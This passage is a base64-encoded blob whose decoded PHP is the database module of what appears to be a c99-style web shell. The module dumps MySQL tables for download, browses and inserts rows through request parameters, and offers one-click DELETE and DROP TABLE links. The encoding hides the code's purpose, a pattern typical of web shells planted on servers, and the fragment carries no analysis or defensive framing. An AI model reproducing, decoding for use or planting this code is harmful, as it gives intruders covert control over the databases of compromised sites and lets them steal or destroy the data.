lVFOwogICAgICRzZXQgPSBhcnJheSgpOwogICAgICRzZXRbInNvY2siXSA9ICRzcWxfc29jazsKICAgICAkc2V0WyJkYiJdID0gJHNxbF9kYjsKICAgICAkZHVtcF9vdXQgPSAiZG93bmxvYWQiOwogICAgICRzZXRbInByaW50Il0gPSAwOwogICAgICRzZXRbIm5sMmJyIl0gPSAwOwogICAgICRzZXRbIiJdID0gMDsKICAgICAkc2V0WyJmaWxlIl0gPSAkZHVtcF9maWxlOwogICAgICRzZXRbImFkZF9kcm9wIl0gPSBUUlVFOwogICAgICRzZXRbIm9ubHl0YWJzIl0gPSBhcnJheSgpOwogICAgIGlmICghZW1wdHkoJGRtcHRibHMpKSB7JHNldFsib25seXRhYnMiXSA9IGV4cGxvZGUoIjsiLCRkbXB0YmxzKTt9CiAgICAgJHJldCA9IG15c3FsX2R1bXAoJHNldCk7CiAgICAgaWYgKCRzcWxfZHVtcF9kb3dubG9hZCkKICAgICB7CiAgICAgIEBvYl9jbGVhbigpOwogICAgICBoZWFkZXIoIkNvbnRlbnQtdHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7CiAgICAgIGhlYWRlcigiQ29udGVudC1sZW5ndGg6ICIuc3RybGVuKCRyZXQpKTsKICAgICAgaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiIuYmFzZW5hbWUoJHNxbF9kdW1wX2ZpbGUpLiJcIjsiKTsKICAgICAgZWNobyAkcmV0OwogICAgICBleGl0OwogICAgIH0KICAgICBlbHNlaWYgKCRzcWxfZHVtcF9zYXZldG9maWxlKQogICAgIHsKICAgICAgJGZwID0gZm9wZW4oJHNxbF9kdW1wX2ZpbGUsInciKTsKICAgICAgaWYgKCEkZnApIHtlY2hvICI8Yj5EdW1wIGVycm9yISBDYW4ndCB3cml0ZSB0byBcIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2R1bXBfZmlsZSkuIlwiISI7fQogICAgICBlbHNlCiAgICAgIHsKICAgICAgIGZ3cml0ZSgkZnAsJHJldCk7CiAgICAgICBmY2xvc2UoJGZwKTsKICAgICAgIGVjaG8gIjxiPkR1bXBlZCEgRHVtcCBoYXMgYmVlbiB3cml0ZWQgdG8gXCIiLmh0bWxzcGVjaWFsY2hhcnMocmVhbHBhdGgoJHNxbF9kdW1wX2ZpbGUpKS4iXCIgKCIudmlld19zaXplKGZpbGVzaXplKCRzcWxfZHVtcF9maWxlKSkuIik8L2I+LiI7CiAgICAgIH0KICAgICB9CiAgICAgZWxzZSB7ZWNobyAiPGI+RHVtcDogbm90aGluZyB0byBkbyE8L2I+Ijt9CiAgICB9CiAgIH0KICAgaWYgKCRkaXBsYXkpCiAgIHsKICAgIGlmICghZW1wdHkoJHNxbF90YmwpKQogICAgewogICAgIGlmIChlbXB0eSgkc3FsX3RibF9hY3QpKSB7JHNxbF90YmxfYWN0ID0gImJyb3dzZSI7fQogICAgICRjb3VudCA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgQ09VTlQoKikgRlJPTSBgIi4kc3FsX3RibC4iYDsiKTsKICAgICAkY291bnRfcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJGNvdW50KTsKICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkY291bnQpOwogICAgICR0Ymxfc3RydWN0X3Jlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTSE9XIEZJRUxEUyBGUk9NIGAiLiRzcWxfdGJsLiJgOyIpOwogICAgICR0Ymxfc3RydWN0X2ZpZWxkcyA9IGFycmF5KCk7CiAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hc3NvYygkdGJsX3N0cnVjdF9yZXN1bHQpKSB7JHRibF9zdHJ1Y3RfZmllbGRzW10gPSAkcm93O30KICAgICBpZiAoJHNxbF9scyA+ICRzcWxfbGUpIHskc3FsX2xlID0gJHNxbF9scyArICRwZXJwYWdlO30KICAgICBpZiAoZW1wdHkoJHNxbF90YmxfcGFnZSkpIHskc3FsX3RibF9wYWdlID0gMDt9CiAgICAgaWYgKGVtcHR5KCRzcWxfdGJsX2xzKSkgeyRzcWxfdGJsX2xzID0gMDt9CiAgICAgaWYgKGVtcHR5KCRzcWxfdGJsX2xlKSkgeyRzcWxfdGJsX2xlID0gMzA7fQogICAgICRwZXJwYWdlID0gJHNxbF90YmxfbGUgLSAkc3FsX3RibF9sczsKICAgICBpZiAoIWlzX251bWVyaWMoJHBlcnBhZ2UpKSB7JHBlcnBhZ2UgPSAxMDt9CiAgICAgJG51bXBhZ2VzID0gJGNvdW50X3Jvd1swXS8kcGVycGFnZTsKICAgICAkZSA9IGV4cGxvZGUoIiAiLCRzcWxfb3JkZXIpOwogICAgIGlmIChjb3VudCgkZSkgPT0gMikKICAgICB7CiAgICAgIGlmICgkZVswXSA9PSAiZCIpIHskYXNjX2Rlc2MgPSAiREVTQyI7fQogICAgICBlbHNlIHskYXNjX2Rlc2MgPSAiQVNDIjt9CiAgICAgICR2ID0gIk9SREVSIEJZIGAiLiRlWzFdLiJgICIuJGFzY19kZXNjLiIgIjsKICAgICB9CiAgICAgZWxzZSB7JHYgPSAiIjt9CiAgICAgJHF1ZXJ5ID0gIlNFTEVDVCAqIEZST00gYCIuJHNxbF90YmwuImAgIi4kdi4iTElNSVQgIi4kc3FsX3RibF9scy4iICwgIi4kcGVycGFnZS4iIjsKICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5KSBvciBwcmludChteXNxbF9zbWFydGVycm9yKCkpOwogICAgIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+PGNlbnRlcj48Yj5UYWJsZSAiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF90YmwpLiIgKCIubXlzcWxfbnVtX2ZpZWxkcygkcmVzdWx0KS4iIGNvbHMgYW5kICIuJGNvdW50X3Jvd1swXS4iIHJvd3MpPC9iPjwvY2VudGVyPiI7CiAgICAgZWNobyAiPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJnNxbF90YmxfYWN0PXN0cnVjdHVyZVwiPlsmbmJzcDs8Yj5TdHJ1Y3R1cmU8L2I+Jm5ic3A7XTwvYT4mbmJzcDsmbmJzcDsmbmJzcDsiOwogICAgIGVjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkuIiZzcWxfdGJsX2FjdD1icm93c2VcIj5bJm5ic3A7PGI+QnJvd3NlPC9iPiZuYnNwO108L2E+Jm5ic3A7Jm5ic3A7Jm5ic3A7IjsKICAgICBlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX2FjdD10YmxkdW1wJnRoaXN0Ymw9MVwiPlsmbmJzcDs8Yj5EdW1wPC9iPiZuYnNwO108L2E+Jm5ic3A7Jm5ic3A7Jm5ic3A7IjsKICAgICBlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX3RibF9hY3Q9aW5zZXJ0XCI+WyZuYnNwOzxiPkluc2VydDwvYj4mbmJzcDtdPC9hPiZuYnNwOyZuYnNwOyZuYnNwOyI7CiAgICAgaWYgKCRzcWxfdGJsX2FjdCA9PSAic3RydWN0dXJlIikge2VjaG8gIjxicj48YnI+PGI+Q29taW5nIHNvb29uITwvYj4iO30KICAgICBpZiAoJHNxbF90YmxfYWN0ID09ICJpbnNlcnQiKQogICAgIHsKICAgICAgaWYgKCFpc19hcnJheSgkc3FsX3RibF9pbnNlcnQpKSB7JHNxbF90YmxfaW5zZXJ0ID0gYXJyYXkoKTt9CiAgICAgIGlmICghZW1wdHkoJHNxbF90YmxfaW5zZXJ0X3JhZGlvKSkKICAgICAgewoKICAgICAgfQogICAgICBlbHNlCiAgICAgIHsKICAgICAgIGVjaG8gIjxicj48YnI+PGI+SW5zZXJ0aW5nIHJvdyBpbnRvIHRhYmxlOjwvYj48YnI+IjsKICAgICAgIGlmICghZW1wdHkoJHNxbF90YmxfaW5zZXJ0X3EpKQogICAgICAgewogICAgICAgICRzcWxfcXVlcnkgPSAiU0VMRUNUICogRlJPTSBgIi4kc3FsX3RibC4iYCI7CiAgICAgICAgJHNxbF9xdWVyeSAuPSAiIFdIRVJFIi4kc3FsX3RibF9pbnNlcnRfcTsKICAgICAgICAkc3FsX3F1ZXJ5IC49ICIgTElNSVQgMTsiOwogICAgICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgkc3FsX3F1ZXJ5LCRzcWxfc29jaykgb3IgcHJpbnQoIjxicj48YnI+Ii5teXNxbF9zbWFydGVycm9yKCkpOwogICAgICAgICR2YWx1ZXMgPSBteXNxbF9mZXRjaF9hc3NvYygkcmVzdWx0KTsKICAgICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsKICAgICAgIH0KICAgICAgIGVsc2UgeyR2YWx1ZXMgPSBhcnJheSgpO30KICAgICAgIGVjaG8gIjxmb3JtIG1ldGhvZD1cIlBPU1RcIj48VEFCTEUgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IHdpZHRoPVwiMSVcIiBiZ2NvbG9yPSMwMDAwMDAgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xPjx0cj48dGQ+PGI+RmllbGQ8L2I+PC90ZD48dGQ+PGI+VHlwZTwvYj48L3RkPjx0ZD48Yj5GdW5jdGlvbjwvYj48L3RkPjx0ZD48Yj5WYWx1ZTwvYj48L3RkPjwvdHI+IjsKICAgICAgIGZvcmVhY2ggKCR0Ymxfc3RydWN0X2ZpZWxkcyBhcyAkZmllbGQpCiAgICAgICB7CiAgICAgICAgJG5hbWUgPSAkZmllbGRbIkZpZWxkIl07CiAgICAgICAgaWYgKGVtcHR5KCRzcWxfdGJsX2luc2VydF9xKSkgeyR2ID0gIiI7fQogICAgICAgIGVjaG8gIjx0cj48dGQ+PGI+Ii5odG1sc3BlY2lhbGNoYXJzKCRuYW1lKS4iPC9iPjwvdGQ+PHRkPiIuJGZpZWxkWyJUeXBlIl0uIjwvdGQ+PHRkPjxzZWxlY3QgbmFtZT1cInNxbF90YmxfaW5zZXJ0X2Z1bmN0c1siLmh0bWxzcGVjaWFsY2hhcnMoJG5hbWUpLiJdXCI+PG9wdGlvbiB2YWx1ZT1cIlwiPjwvb3B0aW9uPjxvcHRpb24+UEFTU1dPUkQ8L29wdGlvbj48b3B0aW9uPk1ENTwvb3B0aW9uPjxvcHRpb24+RU5DUllQVDwvb3B0aW9uPjxvcHRpb24+QVNDSUk8L29wdGlvbj48b3B0aW9uPkNIQVI8L29wdGlvbj48b3B0aW9uPlJBTkQ8L29wdGlvbj48b3B0aW9uPkxBU1RfSU5TRVJUX0lEPC9vcHRpb24+PG9wdGlvbj5DT1VOVDwvb3B0aW9uPjxvcHRpb24+QVZHPC9vcHRpb24+PG9wdGlvbj5TVU08L29wdGlvbj48b3B0aW9uIHZhbHVlPVwiXCI+LS0tLS0tLS08L29wdGlvbj48b3B0aW9uPlNPVU5ERVg8L29wdGlvbj48b3B0aW9uPkxDQVNFPC9vcHRpb24+PG9wdGlvbj5VQ0FTRTwvb3B0aW9uPjxvcHRpb24+Tk9XPC9vcHRpb24+PG9wdGlvbj5DVVJEQVRFPC9vcHRpb24+PG9wdGlvbj5DVVJUSU1FPC9vcHRpb24+PG9wdGlvbj5GUk9NX0RBWVM8L29wdGlvbj48b3B0aW9uPkZST01fVU5JWFRJTUU8L29wdGlvbj48b3B0aW9uPlBFUklPRF9BREQ8L29wdGlvbj48b3B0aW9uPlBFUklPRF9ESUZGPC9vcHRpb24+PG9wdGlvbj5UT19EQVlTPC9vcHRpb24+PG9wdGlvbj5VTklYX1RJTUVTVEFNUDwvb3B0aW9uPjxvcHRpb24+VVNFUjwvb3B0aW9uPjxvcHRpb24+V0VFS0RBWTwvb3B0aW9uPjxvcHRpb24+Q09OQ0FUPC9vcHRpb24+PC9zZWxlY3Q+PC90ZD48dGQ+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNxbF90YmxfaW5zZXJ0WyIuaHRtbHNwZWNpYWxjaGFycygkbmFtZSkuIl1cIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkdmFsdWVzWyRuYW1lXSkuIlwiIHNpemU9NTA+PC90ZD48L3RyPiI7CiAgICAgICAgJGkrKzsKICAgICAgIH0KICAgICAgIGVjaG8gIjwvdGFibGU+PGJyPiI7CiAgICAgICBlY2hvICI8aW5wdXQgdHlwZT1cInJhZGlvXCIgbmFtZT1cInNxbF90YmxfaW5zZXJ0X3JhZGlvXCIgdmFsdWU9XCIxXCIiOyBpZiAoZW1wdHkoJHNxbF90YmxfaW5zZXJ0X3EpKSB7ZWNobyAiIGNoZWNrZWQiO30gZWNobyAiPjxiPkluc2VydCBhcyBuZXcgcm93PC9iPiI7CiAgICAgICBpZiAoIWVtcHR5KCRzcWxfdGJsX2luc2VydF9xKSkge2VjaG8gIiBvciA8aW5wdXQgdHlwZT1cInJhZGlvXCIgbmFtZT1cInNxbF90YmxfaW5zZXJ0X3JhZGlvXCIgdmFsdWU9XCIyXCIgY2hlY2tlZD48Yj5TYXZlPC9iPiI7IGVjaG8gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF90YmxfaW5zZXJ0X3FcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibF9pbnNlcnRfcSkuIlwiPiI7fQogICAgICAgZWNobyAiPGJyPjxicj48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiQ29uZmlybVwiPjwvZm9ybT4iOwogICAgICB9CiAgICAgfQogICAgIGlmICgkc3FsX3RibF9hY3QgPT0gImJyb3dzZSIpCiAgICAgewogICAgICAkc3FsX3RibF9scyA9IGFicygkc3FsX3RibF9scyk7CiAgICAgICRzcWxfdGJsX2xlID0gYWJzKCRzcWxfdGJsX2xlKTsKICAgICAgZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT4iOwogICAgICBlY2hvICI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPW11bHRpcGFnZVwiIGhlaWdodD1cIjEyXCIgd2lkdGg9XCIxMFwiIGFsdD1cIlBhZ2VzXCI+Jm5ic3A7IjsKICAgICAgJGIgPSAwOwogICAgICBmb3IoJGk9MDskaTwkbnVtcGFnZXM7JGkrKykKICAgICAgewogICAgICAgaWYgKCgkaSokcGVycGFnZSAhPSAkc3FsX3RibF9scykgb3IgKCRpKiRwZXJwYWdlKyRwZXJwYWdlICE9ICRzcWxfdGJsX2xlKSkge2VjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkuIiZzcWxfb3JkZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfb3JkZXIpLiImc3FsX3RibF9scz0iLigkaSokcGVycGFnZSkuIiZzcWxfdGJsX2xlPSIuKCRpKiRwZXJwYWdlKyRwZXJwYWdlKS4iXCI+PHU+Ijt9CiAgICAgICBlY2hvICRpOwogICAgICAgaWYgKCgkaSokcGVycGFnZSAhPSAkc3FsX3RibF9scykgb3IgKCRpKiRwZXJwYWdlKyRwZXJwYWdlICE9ICRzcWxfdGJsX2xlKSkge2VjaG8gIjwvdT48L2E+Ijt9CiAgICAgICBpZiAoKCRpLzMwID09IHJvdW5kKCRpLzMwKSkgYW5kICgkaSA+IDApKSB7ZWNobyAiPGJyPiI7fQogICAgICAgZWxzZSB7ZWNobyAiJm5ic3A7Ijt9CiAgICAgIH0KICAgICAgaWYgKCRpID09IDApIHtlY2hvICJlbXB0eSI7fQogICAgICBlY2hvICI8Zm9ybSBtZXRob2Q9XCJHRVRcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJhY3RcIiB2YWx1ZT1cInNxbFwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9kYlwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfbG9naW5cIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3Bhc3N3ZFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3NlcnZlclwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3BvcnRcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfdGJsXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF90YmwpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfb3JkZXJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX29yZGVyKS4iXCI+PGI+RnJvbTo8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNxbF90YmxfbHNcIiB2YWx1ZT1cIiIuJHNxbF90YmxfbHMuIlwiPiZuYnNwOzxiPlRvOjwvYj4mbmJzcDs8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX3RibF9sZVwiIHZhbHVlPVwiIi4kc3FsX3RibF9sZS4iXCI+Jm5ic3A7PGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIlZpZXdcIj48L2Zvcm0+IjsKICAgICAgZWNobyAiPGJyPjxmb3JtIG1ldGhvZD1cIlBPU1RcIj48VEFCTEUgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IHdpZHRoPVwiMSVcIiBiZ2NvbG9yPSMwMDAwMDAgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xPiI7CiAgICAgIGVjaG8gIjx0cj4iOwogICAgICBlY2hvICI8dGQ+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJib3hyb3dfYWxsXCIgdmFsdWU9XCIxXCI+PC90ZD4iOwogICAgICBmb3IgKCRpPTA7JGk8bXlzcWxfbnVtX2ZpZWxkcygkcmVzdWx0KTskaSsrKQogICAgICB7CiAgICAgICAkdiA9IG15c3FsX2ZpZWxkX25hbWUoJHJlc3VsdCwkaSk7CiAgICAgICBpZiAoJGVbMF0gPT0gImEiKSB7JHMgPSAiZCI7ICRtID0gImFzYyI7fQogICAgICAgZWxzZSB7JHMgPSAiYSI7ICRtID0gImRlc2MiO30KICAgICAgIGVjaG8gIjx0ZD4iOwogICAgICAgaWYgKGVtcHR5KCRlWzBdKSkgeyRlWzBdID0gImEiO30KICAgICAgIGlmICgkZVsxXSAhPSAkdikge2VjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0iLiRzcWxfdGJsLiImc3FsX3RibF9sZT0iLiRzcWxfdGJsX2xlLiImc3FsX3RibF9scz0iLiRzcWxfdGJsX2xzLiImc3FsX29yZGVyPSIuJGVbMF0uIiUyMCIuJHYuIlwiPjxiPiIuJHYuIjwvYj48L2E+Ijt9CiAgICAgICBlbHNlIHtlY2hvICI8Yj4iLiR2LiI8L2I+PGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsPSIuJHNxbF90YmwuIiZzcWxfdGJsX2xlPSIuJHNxbF90YmxfbGUuIiZzcWxfdGJsX2xzPSIuJHNxbF90YmxfbHMuIiZzcWxfb3JkZXI9Ii4kcy4iJTIwIi4kdi4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1zb3J0XyIuJG0uIlwiIGhlaWdodD1cIjlcIiB3aWR0aD1cIjE0XCIgYWx0PVwiIi4kbS4iXCI+PC9hPiI7fQogICAgICAgZWNobyAiPC90ZD4iOwogICAgICB9CiAgICAgIGVjaG8gIjx0ZD48Zm9udCBjb2xvcj1cImdyZWVuXCI+PGI+QWN0aW9uPC9iPjwvZm9udD48L3RkPiI7CiAgICAgIGVjaG8gIjwvdHI+IjsKICAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9BU1NPQykpCiAgICAgIHsKICAgICAgIGVjaG8gIjx0cj4iOwogICAgICAgJHcgPSAiIjsKICAgICAgICRpID0gMDsKICAgICAgIGZvcmVhY2ggKCRyb3cgYXMgJGs9PiR2KSB7JG5hbWUgPSBteXNxbF9maWVsZF9uYW1lKCRyZXN1bHQsJGkpOyAkdyAuPSAiIGAiLiRuYW1lLiJgID0gJyIuYWRkc2xhc2hlcygkdikuIicgQU5EIjsgJGkrKzt9CiAgICAgICBpZiAoY291bnQoJHJvdykgPiAwKSB7JHcgPSBzdWJzdHIoJHcsMCxzdHJsZW4oJHcpLTMpO30KICAgICAgIGVjaG8gIjx0ZD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImJveHJvd1tdXCIgdmFsdWU9XCIiLiR3LiJcIj48L3RkPiI7CiAgICAgICAkaSA9IDA7CiAgICAgICBmb3JlYWNoICgkcm93IGFzICRrPT4kdikKICAgICAgIHsKICAgICAgICAkdiA9IGh0bWxzcGVjaWFsY2hhcnMoJHYpOwogICAgICAgIGlmICgkdiA9PSAiIikgeyR2ID0gIjxmb250IGNvbG9yPVwiZ3JlZW5cIj5OVUxMPC9mb250PiI7fQogICAgICAgIGVjaG8gIjx0ZD4iLiR2LiI8L3RkPiI7CiAgICAgICAgJGkrKzsKICAgICAgIH0KICAgICAgIGVjaG8gIjx0ZD4iOwogICAgICAgZWNobyAiPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfYWN0PXF1ZXJ5JnNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX3RibF9scz0iLiRzcWxfdGJsX2xzLiImc3FsX3RibF9sZT0iLiRzcWxfdGJsX2xlLiImc3FsX3F1ZXJ5PSIudXJsZW5jb2RlKCJERUxFVEUgRlJPTSBgIi4kc3FsX3RibC4iYCBXSEVSRSIuJHcuIiBMSU1JVCAxOyIpLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXNxbF9idXR0b25fZHJvcFwiIGFsdD1cIkRlbGV0ZVwiIGhlaWdodD1cIjEzXCIgd2lkdGg9XCIxMVwiIGJvcmRlcj1cIjBcIj48L2E+Jm5ic3A7IjsKICAgICAgIGVjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibF9hY3Q9aW5zZXJ0JnNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX3RibF9scz0iLiRzcWxfdGJsX2xzLiImc3FsX3RibF9sZT0iLiRzcWxfdGJsX2xlLiImc3FsX3RibF9pbnNlcnRfcT0iLnVybGVuY29kZSgkdykuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9Y2hhbmdlXCIgYWx0PVwiRWRpdFwiIGhlaWdodD1cIjE0XCIgd2lkdGg9XCIxNFwiIGJvcmRlcj1cIjBcIj48L2E+Jm5ic3A7IjsKICAgICAgIGVjaG8gIjwvdGQ+IjsKICAgICAgIGVjaG8gIjwvdHI+IjsKICAgICAgfQogICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsKICAgICAgZWNobyAiPC90YWJsZT48aHIgc2l6ZT1cIjFcIiBub3NoYWRlPjxwIGFsaWduPVwibGVmdFwiPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9YXJyb3dfbHRyXCIgYm9yZGVyPVwiMFwiPjxzZWxlY3QgbmFtZT1cInNxbF9hY3RcIj4iOwogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwiXCI+V2l0aCBzZWxlY3RlZDo8L29wdGlvbj4iOwogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwiZGVsZXRlcm93XCI+RGVsZXRlPC9vcHRpb24+IjsKICAgICAgZWNobyAiPC9zZWxlY3Q+Jm5ic3A7PGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIkNvbmZpcm1cIj48L2Zvcm0+PC9wPiI7CiAgICAgfQogICAgfQogICAgZWxzZQogICAgewogICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0hPVyBUQUJMRSBTVEFUVVMiLCAkc3FsX3NvY2spOwogICAgIGlmICghJHJlc3VsdCkge2VjaG8gbXlzcWxfc21hcnRlcnJvcigpO30KICAgICBlbHNlCiAgICAgewogICAgICBlY2hvICI8YnI+PGZvcm0gbWV0aG9kPVwiUE9TVFwiPjxUQUJMRSBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgd2lkdGg9XCIxMDAlXCIgYmdjb2xvcj0jMDAwMDAwIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT48dHI+PHRkPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiYm94dGJsX2FsbFwiIHZhbHVlPVwiMVwiPjwvdGQ+PHRkPjxjZW50ZXI+PGI+VGFibGU8L2I+PC9jZW50ZXI+PC90ZD48dGQ+PGI+Um93czwvYj48L3RkPjx0ZD48Yj5UeXBlPC9iPjwvdGQ+PHRkPjxiPkNyZWF0ZWQ8L2I+PC90ZD48dGQ+PGI+TW9kaWZpZWQ8L2I+PC90ZD48dGQ+PGI+U2l6ZTwvYj48L3RkPjx0ZD48Yj5BY3Rpb248L2I+PC90ZD48L3RyPiI7CiAgICAgICRpID0gMDsKICAgICAgJHRzaXplID0gJHRyb3dzID0gMDsKICAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9BU1NPQykpCiAgICAgIHsKICAgICAgICR0c2l6ZSArPSAkcm93WyJEYXRhX2xlbmd0aCJdOwogICAgICAgJHRyb3dzICs9ICRyb3dbIlJvd3MiXTsKICAgICAgICRzaXplID0gdmlld19zaXplKCRyb3dbIkRhdGFfbGVuZ3RoIl0pOwogICAgICAgZWNobyAiPHRyPiI7CiAgICAgICBlY2hvICI8dGQ+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJib3h0YmxbXVwiIHZhbHVlPVwiIi4kcm93WyJOYW1lIl0uIlwiPjwvdGQ+IjsKICAgICAgIGVjaG8gIjx0ZD4mbmJzcDs8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii51cmxlbmNvZGUoJHJvd1siTmFtZSJdKS4iXCI+PGI+Ii4kcm93WyJOYW1lIl0uIjwvYj48L2E+Jm5ic3A7PC90ZD4iOwogICAgICAgZWNobyAiPHRkPiIuJHJvd1siUm93cyJdLiI8L3RkPiI7CiAgICAgICBlY2hvICI8dGQ+Ii4kcm93WyJUeXBlIl0uIjwvdGQ+IjsKICAgICAgIGVjaG8gIjx0ZD4iLiRyb3dbIkNyZWF0ZV90aW1lIl0uIjwvdGQ+IjsKICAgICAgIGVjaG8gIjx0ZD4iLiRyb3dbIlVwZGF0ZV90aW1lIl0uIjwvdGQ+IjsKICAgICAgIGVjaG8gIjx0ZD4iLiRzaXplLiI8L3RkPiI7CiAgICAgICBlY2hvICI8dGQ+Jm5ic3A7PGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfYWN0PXF1ZXJ5JnNxbF9xdWVyeT0iLnVybGVuY29kZSgiREVMRVRFIEZST00gYCIuJHJvd1siTmFtZSJdLiJgIikuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9c3FsX2J1dHRvbl9lbXB0eVwiIGFsdD1cIkVtcHR5XCIgaGVpZ2h0PVwiMTNcIiB3aWR0aD1cIjExXCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDsmbmJzcDs8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF9hY3Q9cXVlcnkmc3FsX3F1ZXJ5PSIudXJsZW5jb2RlKCJEUk9QIFRBQkxFIGAiLiRyb3dbIk5hbWUiXS4iYCIpLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXNxbF9idXR0b25fZHJvcFwiIGFsdD1cIkRyb3BcIiBoZWlnaHQ9XCIxM1wiIHdpZHRoPVwiMTFcIiBib3JkZXI9XCIwXCI+PC9hPiZuYnNwOzxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibF9hY3Q9aW5zZXJ0JnNxbF90Ymw9Ii4kcm93WyJOYW1lIl0uIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4iYW